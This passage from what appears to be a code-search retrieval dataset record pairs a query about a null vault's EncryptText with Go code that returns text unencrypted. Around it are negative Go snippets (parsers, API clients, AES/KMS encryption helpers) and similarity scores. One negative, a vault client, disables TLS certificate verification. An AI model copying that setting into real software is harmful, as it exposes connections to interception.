p.parseAssignExpression,\n\t\ttokentype.CONTAINS: p.parseInfixExpression,\n\t\ttokentype.DOTDOT: p.parseInfixExpression,\n\t\ttokentype.EQ: p.parseInfixExpression,\n\t\ttokentype.GT: p.parseInfixExpression,\n\t\ttokentype.GT_EQUALS: p.parseInfixExpression,\n\t\ttokentype.LBRACKET: p.parseIndexExpression,\n\t\ttokentype.LPAREN: p.parseCallExpression,\n\t\ttokentype.LT: p.parseInfixExpression,\n\t\ttokentype.LT_EQUALS: p.parseInfixExpression,\n\t\ttokentype.MINUS: p.parseInfixExpression,\n\t\ttokentype.MINUS_EQUALS: p.parseAssignExpression,\n\t\ttokentype.MOD: p.parseInfixExpression,\n\t\ttokentype.NOT_CONTAINS: p.parseInfixExpression,\n\t\ttokentype.NOT_EQ: p.parseInfixExpression,\n\t\ttokentype.OR: p.parseInfixExpression,\n\t\ttokentype.PERIOD: p.parseMethodCallExpression,\n\t\ttokentype.PLUS: p.parseInfixExpression,\n\t\ttokentype.PLUS_EQUALS: p.parseAssignExpression,\n\t\ttokentype.POW: p.parseInfixExpression,\n\t\ttokentype.QUESTION: p.parseTernaryExpression,\n\t\ttokentype.SLASH: p.parseInfixExpression,\n\t\ttokentype.SLASH_EQUALS: p.parseAssignExpression,\n\t}\n\n\t// Register postfix functions.\n\tp.postfixParseFns = [tokentype.TokenType_Count]postfixParseFn{\n\t\ttokentype.MINUS_MINUS: p.parsePostfixExpression,\n\t\ttokentype.PLUS_PLUS: p.parsePostfixExpression,\n\t}\n\n\t// All done\n\treturn p\n}", "func (api GrammarBot) Check(text string) (*Response, error) {\n\n\t/*buf := make([]byte,\n\t\tlen(text) +\n\t\tlen(api.BaseURI) +\n\t\tlen(api.ApiName) +\n\t\tlen(api.Version) +\n\t\tlen(api.ApiKey) +\n\t\tlen(api.Language) +\n\t\tlen(\"//api_key=&text=&language=\")) */\n\n\tif err := ValidateErr(text); err != nil {\n\t\treturn nil, err\n\t}\n\n\ttext = url.QueryEscape(text)\n\n\tbuf := acquireBuffer(\n\t\tlen(text) +\n\t\tlen(api.BaseURI) +\n\t\tlen(api.ApiName) +\n\t\tlen(api.Version) +\n\t\tlen(api.ApiKey) +\n\t\tlen(api.Language) +\n\t\tlen(\"//api_key=&text=&language=\"))\n\n\tp := copy(buf[:], api.BaseURI)\n\tp += copy(buf[p:], \"/\")\n\tp += copy(buf[p:], api.Version)\n\tp += copy(buf[p:], \"/\")\n\tp += copy(buf[p:], api.ApiName)\n\n\tendpoint := p\n\n\tp += copy(buf[p:], \"api_key=\")\n\tp += copy(buf[p:], api.ApiKey)\n\tp += copy(buf[p:], \"&text=\")\n\tp += copy(buf[p:], text)\n\tp += copy(buf[p:], \"&language=\")\n\tcopy(buf[p:], api.Language)\n\n\treq, err := http.NewRequest(\"POST\", b2s(buf[:endpoint]), nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treq.URL.RawQuery = b2s(buf[endpoint:])\n\n\tresp, err := api.Client.Do(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdefer resp.Body.Close()\n\n\tif resp.StatusCode != 200 {\n\t\treturn nil, errors.New(\"GrammarBot.Check->response: \" + resp.Status)\n\t}\n\n\tvar result Response\n\n\terr = json.NewDecoder(resp.Body).Decode(&result)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tbufferPool.Put(buf)\n\n\treturn &result, nil\n}", "func ParseAccessTxt(accessTxt string) (apiURL, certSHA256 string, err error) {\n\tresult := regexp.MustCompile(`certSha256:(.+)`).FindStringSubmatch(accessTxt)\n\tif result == nil {\n\t\treturn \"\", \"\", errors.New(\"invalid certSha256\")\n\t}\n\tcertSHA256 = result[1]\n\tresult = regexp.MustCompile(`apiURL:(.+)`).FindStringSubmatch(accessTxt)\n\tif result == nil {\n\t\treturn \"\", \"\", errors.New(\"invalid apiURL\")\n\t}\n\tapiURL = result[1]\n\treturn apiURL, certSHA256, nil\n}", "func New(l *lexer.Lexer) *Parser {\n\tp := &Parser{\n\t\tLexer: l,\n\t\tacceptBlock: true,\n\t}\n\n\tp.fsm = fsm.NewFSM(\n\t\tstates.Normal,\n\t\tfsm.Events{\n\t\t\t{Name: events.ParseFuncCall, Src: []string{states.Normal}, Dst: states.ParsingFuncCall},\n\t\t\t{Name: events.ParseMethodParam, Src: []string{states.Normal, states.ParsingAssignment}, Dst: states.ParsingMethodParam},\n\t\t\t{Name: events.ParseAssignment, Src: []string{states.Normal, states.ParsingFuncCall}, Dst: states.ParsingAssignment},\n\t\t\t{Name: events.BackToNormal, Src: []string{states.ParsingFuncCall, states.ParsingMethodParam, states.ParsingAssignment}, Dst: states.Normal},\n\t\t},\n\t\tfsm.Callbacks{},\n\t)\n\n\tp.prefixParseFns = make(map[token.Type]prefixParseFn)\n\tp.registerPrefix(token.Ident, p.parseIdentifier)\n\tp.registerPrefix(token.Constant, p.parseConstant)\n\tp.registerPrefix(token.InstanceVariable, p.parseInstanceVariable)\n\tp.registerPrefix(token.Int, p.parseIntegerLiteral)\n\tp.registerPrefix(token.String, p.parseStringLiteral)\n\tp.registerPrefix(token.True, p.parseBooleanLiteral)\n\tp.registerPrefix(token.False, p.parseBooleanLiteral)\n\tp.registerPrefix(token.Null, p.parseNilExpression)\n\tp.registerPrefix(token.Minus, p.parsePrefixExpression)\n\tp.registerPrefix(token.Plus, p.parsePrefixExpression)\n\tp.registerPrefix(token.Asterisk, p.parsePrefixExpression)\n\tp.registerPrefix(token.Bang, p.parsePrefixExpression)\n\tp.registerPrefix(token.LParen, p.parseGroupedExpression)\n\tp.registerPrefix(token.If, p.parseIfExpression)\n\tp.registerPrefix(token.Case, p.parseCaseExpression)\n\tp.registerPrefix(token.Self, p.parseSelfExpression)\n\tp.registerPrefix(token.LBracket, p.parseArrayExpression)\n\tp.registerPrefix(token.LBrace, p.parseHashExpression)\n\tp.registerPrefix(token.Semicolon, p.parseSemicolon)\n\tp.registerPrefix(token.Yield, p.parseYieldExpression)\n\tp.registerPrefix(token.GetBlock, p.parseGetBlockExpression)\n\n\tp.infixParseFns = make(map[token.Type]infixParseFn)\n\tp.registerInfix(token.Plus, p.parseInfixExpression)\n\tp.registerInfix(token.PlusEq, p.parseAssignExpression)\n\tp.registerInfix(token.Minus, p.parseInfixExpression)\n\tp.registerInfix(token.MinusEq, p.parseAssignExpression)\n\tp.registerInfix(token.Modulo, p.parseInfixExpression)\n\tp.registerInfix(token.Slash, p.parseInfixExpression)\n\tp.registerInfix(token.Pow, p.parseInfixExpression)\n\tp.registerInfix(token.Eq, p.parseInfixExpression)\n\tp.registerInfix(token.NotEq, p.parseInfixExpression)\n\tp.registerInfix(token.LT, p.parseInfixExpression)\n\tp.registerInfix(token.LTE, p.parseInfixExpression)\n\tp.registerInfix(token.GT, p.parseInfixExpression)\n\tp.registerInfix(token.GTE, p.parseInfixExpression)\n\tp.registerInfix(token.COMP, p.parseInfixExpression)\n\tp.registerInfix(token.And, p.parseInfixExpression)\n\tp.registerInfix(token.Or, p.parseInfixExpression)\n\tp.registerInfix(token.OrEq, p.parseAssignExpression)\n\tp.registerInfix(token.Comma, p.parseMultiVariables)\n\tp.registerInfix(token.ResolutionOperator, p.parseInfixExpression)\n\tp.registerInfix(token.Assign, p.parseAssignExpression)\n\tp.registerInfix(token.Range, p.parseRangeExpression)\n\tp.registerInfix(token.Dot, p.parseCallExpressionWithReceiver)\n\tp.registerInfix(token.LParen, p.parseCallExpressionWithoutReceiver)\n\tp.registerInfix(token.LBracket, p.parseIndexExpression)\n\tp.registerInfix(token.Colon, p.parseArgumentPairExpression)\n\tp.registerInfix(token.Asterisk, p.parseInfixExpression)\n\n\treturn p\n}", "func (p *Parser) FromString(data string) error {\n\tscanner := bufio.NewScanner(strings.NewReader(data))\n\tvar linebuffer = \"\"\n\tpattern := regexp.MustCompile(`\\\\(\\s+)?$`)\n\tfor scanner.Scan() {\n\t\tp.currentLine++\n\t\tline := scanner.Text()\n\t\tlinebuffer += strings.TrimSpace(line)\n\t\t//Check if line ends with \\\n\t\tmatch := pattern.MatchString(line)\n\t\tif !match {\n\t\t\terr := p.evaluate(linebuffer)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tlinebuffer = \"\"\n\t\t} else {\n\t\t\tlinebuffer = strings.TrimSuffix(linebuffer, \"\\\\\")\n\t\t}\n\t}\n\treturn nil\n}", "func (v *vault) Create() ([]byte, error) {\n\t// check if there is someting to read on STDIN\n\tstat, _ := os.Stdin.Stat()\n\tif (stat.Mode() & os.ModeCharDevice) == 0 {\n\t\tscanner := bufio.NewScanner(os.Stdin)\n\t\tscanner.Split(bufio.ScanBytes)\n\t\tvar stdin []byte\n\t\tfor scanner.Scan() {\n\t\t\tstdin = append(stdin, scanner.Bytes()...)\n\t\t}\n\t\tif err := scanner.Err(); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn stdin, nil\n\t}\n\n\t// use $EDITOR\n\ttmpfile, err := ioutil.TempFile(\"\", v.Fingerprint)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer Shred(tmpfile.Name())\n\teditor := os.Getenv(\"EDITOR\")\n\tif editor == \"\" {\n\t\teditor = \"vi\"\n\t}\n\tcmd := exec.Command(editor, tmpfile.Name())\n\tcmd.Stdin = os.Stdin\n\tcmd.Stdout = os.Stdout\n\terr = cmd.Run()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tb, err := ioutil.ReadFile(tmpfile.Name())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn b, nil\n}", "func (u *CreditCard) UnmarshalText(data []byte) error { // validation is performed later on\n\t*u = CreditCard(string(data))\n\treturn nil\n}", "func parseValue(typ reflect.Type, raw string) (flow.Data, error) {\n\n\tif len(raw) == 0 {\n\t\treturn nil, nil\n\t}\n\tif typ == nil {\n\t\tvar val flow.Data\n\t\terr := json.Unmarshal([]byte(raw), &val)\n\t\tif err != nil { // Try to unmarshal as a string?\n\t\t\tval = string(raw)\n\t\t}\n\t\treturn val, nil\n\t}\n\n\tvar ret flow.Data\n\tswitch typ.Kind() {\n\tcase reflect.Int:\n\t\tv, err := strconv.Atoi(raw)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tret = v\n\tcase reflect.String:\n\t\tret = raw\n\tdefault:\n\t\tif len(raw) == 0 {\n\t\t\treturn nil, nil\n\t\t}\n\t\t//ret = reflect.Zero(typ)\n\n\t\trefVal := reflect.New(typ)\n\t\terr := json.Unmarshal([]byte(raw), refVal.Interface())\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tret = refVal.Elem().Interface()\n\t}\n\treturn ret, nil\n}", "func NewFromString(htmlString string) (r *Recipe, err error) {\n\tr = &Recipe{FileName: \"string\"}\n\tr.FileContent = htmlString\n\terr = r.parseHTML()\n\treturn\n}", "func (m *LoRaAllianceTR005Draft2) UnmarshalText(text []byte) error {\n\tparts := bytes.SplitN(text, []byte(\":\"), 7)\n\tif len(parts) < 6 ||\n\t\t!bytes.Equal(parts[0], []byte(\"URN\")) ||\n\t\t!bytes.Equal(parts[1], []byte(\"LW\")) ||\n\t\t!bytes.Equal(parts[2], []byte(\"DP\")) {\n\t\treturn errFormat.New()\n\t}\n\t*m = LoRaAllianceTR005Draft2{}\n\tif err := m.JoinEUI.UnmarshalText(parts[3]); err != nil {\n\t\treturn err\n\t}\n\tif err := m.DevEUI.UnmarshalText(parts[4]); err != nil {\n\t\treturn err\n\t}\n\tprodID := make([]byte, hex.DecodedLen(len(parts[5])))\n\tif n, err := hex.Decode(prodID, parts[5]); err == nil && n == 4 {\n\t\tcopy(m.VendorID[:], prodID[:2])\n\t\tcopy(m.ModelID[:], prodID[2:])\n\t} else if n != 4 {\n\t\treturn errFormat.New()\n\t} else {\n\t\treturn err\n\t}\n\tif len(parts) == 7 {\n\t\texts := strings.ReplaceAll(string(parts[6]), \"%25\", \"%\")\n\t\tfor _, ext := range strings.Split(exts, \"%\") {\n\t\t\tif len(ext) < 1 {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tval := ext[1:]\n\t\t\tswitch ext[0] {\n\t\t\tcase 'V':\n\t\t\t\tm.DeviceValidationCode = val\n\t\t\tcase 'S':\n\t\t\t\tm.SerialNumber = val\n\t\t\tcase 'P':\n\t\t\t\tm.Proprietary = val\n\t\t\t}\n\t\t}\n\t}\n\treturn m.Validate()\n}", "func (parser *Parser) Parse(input string, targetType reflect.Type) (interface{}, error) {\n\tif isPredefinedType(targetType) {\n\t\tresolvedInput := parser.ReplaceSymbolsIn(input)\n\t\treturn parser.parsePredefined(resolvedInput, targetType)\n\t}\n\tif symbolValue, ok := parser.symbols.NonTextSymbol(input); ok {\n\t\tif reflect.TypeOf(symbolValue).AssignableTo(targetType) {\n\t\t\treturn symbolValue, nil\n\t\t}\n\t\treturn nil, toErrorf(\"Symbol '%v' of type '%v' not assignable to type '%v'\", input, reflect.TypeOf(symbolValue), targetType)\n\t}\n\t// target is no predefined type, input is no list, and no Symbol as Object.\n\t// Check if it needs to be put in an interface - then we need to infer the type.\n\tresolvedInput := parser.ReplaceSymbolsIn(input)\n\tresolvedInputType := reflect.TypeOf(resolvedInput)\n\tif resolvedInputType.Kind() == reflect.String && targetType.Kind() == reflect.Interface {\n\t\treturn parser.parseToInferredType(resolvedInput), nil\n\t}\n\n\t// See if the target is a fixture we can parse into\n\tif slimentity.IsObjectType(targetType) {\n\t\treturn parser.parseFixture(resolvedInput, targetType)\n\t}\n\tswitch targetType.Kind() {\n\tcase reflect.Map:\n\t\treturn parser.parseMap(resolvedInput, targetType)\n\tcase reflect.Slice:\n\t\tresult, err := parser.parseSlice(resolvedInput, targetType)\n\t\treturn result, err\n\tcase reflect.Ptr:\n\t\treturn parser.parsePtr(input, targetType)\n\tdefault:\n\t\treturn nil, toErrorf(\"Don't know how to resolve '%v' into '%v'\", resolvedInput, targetType)\n\t}\n}", "func (d *Digest) UnmarshalText(text []byte) error {\n\tparts := bytes.Split(text, []byte{'_'})\n\n\tvar err error\n\td.ModulusID, err = b64Decode(parts[0])\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tmantissa, err := strconv.Atoi(string(parts[1][1:2]))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tlog, err := strconv.Atoi(string(parts[1][2:]))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\td.WorkFactor = 1\n\tfor i := 0; i <= log; i++ {\n\t\td.WorkFactor *= mantissa\n\t}\n\n\td.Salt, err = b64Decode(parts[2])\n\tif err != nil {\n\t\treturn err\n\t}\n\n\td.Hash, err = b64Decode(parts[3])\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tswitch parts[1][0] {\n\tcase 'b':\n\t\td.PreHash = true\n\t\td.PostHashLen = len(d.Hash)\n\tcase 'r':\n\t\td.PreHash = true\n\t\td.PostHashLen = 0\n\tcase 's':\n\t\td.PreHash = false\n\t\td.PostHashLen = len(d.Hash)\n\tcase 'n':\n\t\td.PreHash = false\n\t\td.PostHashLen = 0\n\t}\n\n\treturn nil\n}", "func NewVaultInterface() (*Vault, error) {\n\tlog.Println(\"GetConfig|Starting the vault-init service...\")\n\tv := &Vault{\n\t\tHTTPClient: http.Client{\n\t\t\tTransport: &http.Transport{\n\t\t\t\tTLSClientConfig: &tls.Config{\n\t\t\t\t\tInsecureSkipVerify: true,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tSignalCh: make(chan os.Signal),\n\t\tStop: func() {\n\t\t\tlog.Println(\"Shutting down\")\n\t\t\tos.Exit(0)\n\t\t},\n\t\tInitResponse: &utils.InitResponse{},\n\t\tInitRequest: &utils.InitRequest{},\n\t\tDecryptedInitResponse: &utils.InitResponse{},\n\t}\n\tsignal.Notify(v.SignalCh,\n\t\tsyscall.SIGINT,\n\t\tsyscall.SIGTERM,\n\t\tsyscall.SIGKILL,\n\t)\n\n\treturn v, nil\n}", "func (_ConsortiumManagement *ConsortiumManagementFilterer) ParseVote(log types.Log) (*ConsortiumManagementVote, error) {\n\tevent := new(ConsortiumManagementVote)\n\tif err := _ConsortiumManagement.contract.UnpackLog(event, \"Vote\", log); err != nil {\n\t\treturn nil, err\n\t}\n\treturn event, nil\n}", "func (salt *Salt) UnmarshalText(s []byte) error {\n\tbuffer := make([]byte, hex.DecodedLen(len(s)))\n\tbyteCount, err := hex.Decode(buffer, s)\n\tif nil != err {\n\t\treturn err\n\t}\n\n\tif saltSize != byteCount {\n\t\treturn fault.UnmarshalTextFailed\n\t}\n\tcopy(salt[:], buffer)\n\treturn nil\n}" ]
[ "0.52708244", "0.50116503", "0.5001348", "0.4994934", "0.49171442", "0.48933622", "0.48533553", "0.48503506", "0.4802255", "0.47748065", "0.4770923", "0.47427726", "0.47423014", "0.47001228", "0.469821", "0.46816352", "0.46793777", "0.4670426", "0.46670052", "0.46667182", "0.466007", "0.4602828", "0.4586281", "0.45825005", "0.45759046", "0.4549866", "0.4540896", "0.4528845", "0.45260572", "0.45252043", "0.4524099", "0.4509466", "0.4503898", "0.45024467", "0.450059", "0.4490802", "0.44872412", "0.447923", "0.44779876", "0.4471552", "0.4465832", "0.44576177", "0.44565818", "0.4447363", "0.44471204", "0.44465068", "0.44430986", "0.44381213", "0.44318748", "0.44273415", "0.4418312", "0.44150683", "0.4413142", "0.44116852", "0.44030294", "0.44012204", "0.43938363", "0.43873188", "0.43822718", "0.43808025", "0.43801048", "0.4376633", "0.43694112", "0.4359872", "0.43585548", "0.4354366", "0.4354089", "0.43539524", "0.43403286", "0.43336183", "0.43080568", "0.43050388", "0.42993832", "0.4298852", "0.42923534", "0.42922127", "0.4283994", "0.42724785", "0.42686656", "0.42653334", "0.4262644", "0.4257517", "0.42567086", "0.42522758", "0.4244284", "0.42340824", "0.423193", "0.42298308", "0.4225502", "0.42175648", "0.42168418", "0.4212781", "0.42098677", "0.42057362", "0.4195375", "0.41941094", "0.4191194", "0.41858312", "0.4184983", "0.41849545" ]
0.717636
0
EncryptText does not encrypt, just sends the text back as plaintext
func (v nullVault) EncryptText(text string) (string, error) { return text, nil }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func EncryptText(c context.Context, api KMSEncryptAPI, input *kms.EncryptInput) (*kms.EncryptOutput, error) {\n\treturn api.Encrypt(c, input)\n}", "func (v envVault) EncryptText(text string) (string, error) {\n\treturn EncryptText(text, v.passPhrase)\n}", "func Encrypt(text string) (encryptedText string, err error) {\n\n\t// validate key\n\tif err = initKey(); err != nil {\n\t\treturn\n\t}\n\n\t// create cipher block from key\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tplaintext := []byte(text)\n\n\t// The IV needs to be unique, but not secure. Therefore it's common to\n\t// include it at the beginning of the ciphertext.\n\tciphertext := make([]byte, aes.BlockSize+len(plaintext))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, rErr := io.ReadFull(rand.Reader, iv); rErr != nil {\n\t\terr = fmt.Errorf(\"iv ciphertext err: %s\", rErr)\n\t\treturn\n\t}\n\n\tstream := cipher.NewCFBEncrypter(block, iv)\n\tstream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext)\n\n\t// convert to base64\n\tencryptedText = base64.URLEncoding.EncodeToString(ciphertext)\n\n\treturn\n}", "func (v passPhraseVault) EncryptText(text string) (string, error) {\n\treturn EncryptText(text, v.passPhrase)\n}", "func Encrypt(text string) (string, error) {\n\tencKey := os.Getenv(\"ENC_KEY\")\n\tencIv := os.Getenv(\"ENC_IV\")\n\tkey := []byte(encKey)\n\tiv := []byte(encIv)\n\tplainText := []byte(text)\n\tplainText, err := pad(plainText, aes.BlockSize)\n\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(`plainText: \"%s\" has error`, plainText)\n\t}\n\tif len(plainText)%aes.BlockSize != 0 {\n\t\terr := fmt.Errorf(`plainText: \"%s\" has the wrong block size`, plainText)\n\t\treturn \"\", err\n\t}\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tcipherText := make([]byte, len(plainText))\n\n\tmode := cipher.NewCBCEncrypter(block, iv)\n\tmode.CryptBlocks(cipherText, plainText)\n\n\treturn base64.StdEncoding.EncodeToString(cipherText), nil\n}", "func encrypt(key, text []byte) ([]byte, error) {\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tb := base64.StdEncoding.EncodeToString(text)\n\tciphertext := make([]byte, aes.BlockSize+len(b))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, err := io.ReadFull(rand.Reader, iv); err != nil {\n\t\treturn nil, err\n\t}\n\tcfb := cipher.NewCFBEncrypter(block, iv)\n\tcfb.XORKeyStream(ciphertext[aes.BlockSize:], []byte(b))\n\treturn ciphertext, nil\n}", "func Encrypt(key []byte, text string) string {\n\t// key := []byte(keyText)\n\tplaintext := []byte(text)\n\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// The IV needs to be unique, but not secure. Therefore it's common to\n\t// include it at the beginning of the ciphertext.\n\tciphertext := make([]byte, aes.BlockSize+len(plaintext))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, err := io.ReadFull(randCry.Reader, iv); err != nil {\n\t\tpanic(err)\n\t}\n\n\tstream := cipher.NewCFBEncrypter(block, iv)\n\tstream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext)\n\n\t// convert to base64\n\treturn base64.URLEncoding.EncodeToString(ciphertext)\n}", "func encrypt(key []byte, text string) string {\n\t// key needs tp be 16, 24 or 32 bytes.\n\tplaintext := []byte(text)\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tciphertext := make([]byte, aes.BlockSize+len(plaintext))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, err := io.ReadFull(rand.Reader, iv); err != nil {\n\t\tpanic(err)\n\t}\n\tstream := cipher.NewCFBEncrypter(block, iv)\n\tstream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext)\n\t// convert to base64\n\treturn base64.URLEncoding.EncodeToString(ciphertext)\n}", "func Encrypt(plainText []byte, key []byte, iv []byte) []byte {\n\treturn getCipher(key).Seal(nil, iv, plainText, nil)\n}", "func Encrypt(key []byte, text []byte) string {\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// Creating IV\n\tciphertext := make([]byte, aes.BlockSize+len(text))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, err := io.ReadFull(rand.Reader, iv); err != nil {\n\t\tpanic(err)\n\t}\n\n\t// Encrpytion Process\n\tstream := cipher.NewCFBEncrypter(block, iv)\n\tstream.XORKeyStream(ciphertext[aes.BlockSize:], text)\n\n\t// Encode to Base64\n\treturn base64.URLEncoding.EncodeToString(ciphertext)\n}", "func Encrypt(key, text []byte) ([]byte, error) {\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tb := base64.StdEncoding.EncodeToString(text)\n\tciphertext := make([]byte, aes.BlockSize+len(b))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, err := io.ReadFull(rand.Reader, iv); err != nil {\n\t\treturn nil, err\n\t}\n\tcfb := cipher.NewCFBEncrypter(block, iv)\n\tcfb.XORKeyStream(ciphertext[aes.BlockSize:], []byte(b))\n\treturn ciphertext, nil\n}", "func Encrypt(key []byte, text string) string {\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tplaintext := []byte(fmt.Sprint(text))\n\tcfb := cipher.NewCFBEncrypter(block, iv)\n\tcipherText := make([]byte, len(plaintext))\n\tcfb.XORKeyStream(cipherText, plaintext)\n\treturn encodeBase64(cipherText)\n}", "func Encrypt(key []byte, text string) string {\n\tplaintext := []byte(text)\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\t// The IV needs to be unique, but not secure. Therefore it's common to\n\t// include it at the beginning of the ciphertext.\n\tciphertext := make([]byte, aes.BlockSize+len(plaintext))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, err := io.ReadFull(rand.Reader, iv); err != nil {\n\t\tpanic(err)\n\t}\n\tstream := cipher.NewCFBEncrypter(block, iv)\n\tstream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext)\n\t// convert to base64\n\treturn base64.URLEncoding.EncodeToString(ciphertext)\n}", "func (a Aes) Encrypt(text string) (string, error) {\n\treturn a.encrypt([]byte(a.Key), text)\n}", "func Encrypt(plainText []byte, nonceBase64 string, key []byte) []byte {\n\tplainBase64 := make([]byte, base64.StdEncoding.EncodedLen(len(plainText)))\n\tbase64.StdEncoding.Encode(plainBase64, plainText)\n\n\tnonce := make([]byte, base64.StdEncoding.DecodedLen(len(nonceBase64)))\n\tbase64.StdEncoding.Decode(nonce, []byte(nonceBase64))\n\n\tnonceArray := &[nonceLen]byte{}\n\tcopy(nonceArray[:], nonce)\n\n\tencKey := &[keyLen]byte{}\n\tcopy(encKey[:], key)\n\n\tcypherText := []byte{}\n\tcypherText = secretbox.Seal(cypherText, plainText, nonceArray, encKey)\n\tcypherBase64 := make([]byte, base64.StdEncoding.EncodedLen(len(cypherText)))\n\tbase64.StdEncoding.Encode(cypherBase64, cypherText)\n\treturn cypherBase64\n}", "func Encrypt(keyStr, ivStr, text string) (string, error) {\n\tkey := []byte(keyStr)\n\tiv := []byte(ivStr)\n\n\tplaintext := pad([]byte(text))\n\n\tif len(plaintext)%aes.BlockSize != 0 {\n\t\treturn \"\", errors.New(\"plaintext is not a multiple of the block size\")\n\t}\n\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tciphertext := make([]byte, aes.BlockSize+len(plaintext))\n\n\tmode := cipher.NewCBCEncrypter(block, iv)\n\tmode.CryptBlocks(ciphertext[aes.BlockSize:], plaintext)\n\n\treturn base64Encode(ciphertext), nil\n}", "func (aesOpt *AESOpt) Encrypt(plainText []byte) (string, error) {\n\n\t//Create a nonce. Nonce should be from GCM\n\tnonce := make([]byte, aesOpt.aesGCM.NonceSize())\n\tif _, err := io.ReadFull(rand.Reader, nonce); err != nil {\n\t\treturn \"\", errors.Wrap(err, \"encryptAES.io.ReadFull\")\n\t}\n\n\t//Encrypt the data using aesGCM.Seal\n\t//Since we don't want to save the nonce somewhere else in this case, we add it as a prefix to the encrypted data. The first nonce argument in Seal is the prefix.\n\tciphertext := aesOpt.aesGCM.Seal(nonce, nonce, plainText, nil)\n\treturn fmt.Sprintf(\"%x\", ciphertext), nil\n}", "func encrypt(aesKey []byte, plainText []byte, associatedData []byte) ([]byte, error) {\n\tcipher, err := subtle.NewAESGCM(aesKey)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to initialize cipher: %v\", err)\n\t}\n\treturn cipher.Encrypt(plainText, associatedData)\n}", "func Encrypt(plainText []byte) ([]byte, []byte, []byte, []byte, error) {\n\n\tkey, err := crypto.GenRandom(32)\n\tif err != nil {\n\t\treturn nil, nil, nil, nil, err\n\t}\n\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, nil, nil, nil, err\n\t}\n\n\taesgcm, err := cipher.NewGCM(block)\n\tif err != nil {\n\t\treturn nil, nil, nil, nil, err\n\t}\n\n\tnonce, err := crypto.GenRandom(12)\n\tif err != nil {\n\t\treturn nil, nil, nil, nil, err\n\t}\n\n\tcipherText := aesgcm.Seal(nil, nonce, plainText, nil)\n\n\tsig, err := createHMAC(key, cipherText)\n\tif err != nil {\n\t\treturn nil, nil, nil, nil, err\n\t}\n\n\tcipherText = append(cipherText, nonce...)\n\n\treturn cipherText, key, sig, key, nil\n}", "func RSAEncryptText(target string, text string) string {\n\ttextBytes := []byte(text)\n\thash := utils.HASH_ALGO.New()\n\tpubKeyBytes, e := hex.DecodeString(target)\n\tutils.HandleError(e)\n\tpubKey, e := x509.ParsePKCS1PublicKey(pubKeyBytes)\n\tutils.HandleError(e)\n\tctext := \"\"\n\n\tchunkSize, e := utils.GetMaxEncodedChunkLength(pubKey)\n\tutils.HandleError(e)\n\n\tfor i := 0; i < len(textBytes); {\n\t\tj := int(math.Min(float64(len(textBytes)), float64(i+chunkSize)))\n\t\tel, e := rsa.EncryptOAEP(hash, rand.Reader, pubKey, textBytes[i:j], nil)\n\t\tutils.HandleError(e)\n\t\tctext += string(el)\n\t\ti = j\n\t}\n\treturn ctext\n}", "func TestEncryptionEncryptByPassPhrase(t *testing.T) {\n\tpassPhrase := \"123\"\n\tplaintext := []byte{1, 2, 3, 4}\n\n\tciphertextStr, err := encryptByPassPhrase(passPhrase, plaintext)\n\tfmt.Println(\"ciphertextStr : \", ciphertextStr)\n\n\tassert.Equal(t, nil, err)\n\tassert.Greater(t, len(ciphertextStr), 0)\n\n\tplaintext2, err := decryptByPassPhrase(passPhrase, ciphertextStr)\n\tassert.Equal(t, plaintext, plaintext2)\n}", "func (v *DefaultVaultClient) Encrypt(key, b64text string) (string, error) {\n\tkv := map[string]interface{}{\"plaintext\": b64text}\n\ts, err := v.Logical().Write(v.encryptEndpoint(key), kv)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tif s == nil {\n\t\treturn \"\", fmt.Errorf(\"Unable to get encryption value using encryption key %s \", key)\n\t}\n\treturn s.Data[\"ciphertext\"].(string), nil\n}", "func (c *Cipher) Encrypt(plaintext string, context map[string]*string) (string, error) {\n\n\tkey, err := kms.GenerateDataKey(c.Client, c.KMSKeyID, context)\n\tif err != nil {\n\t\treturn \"\", 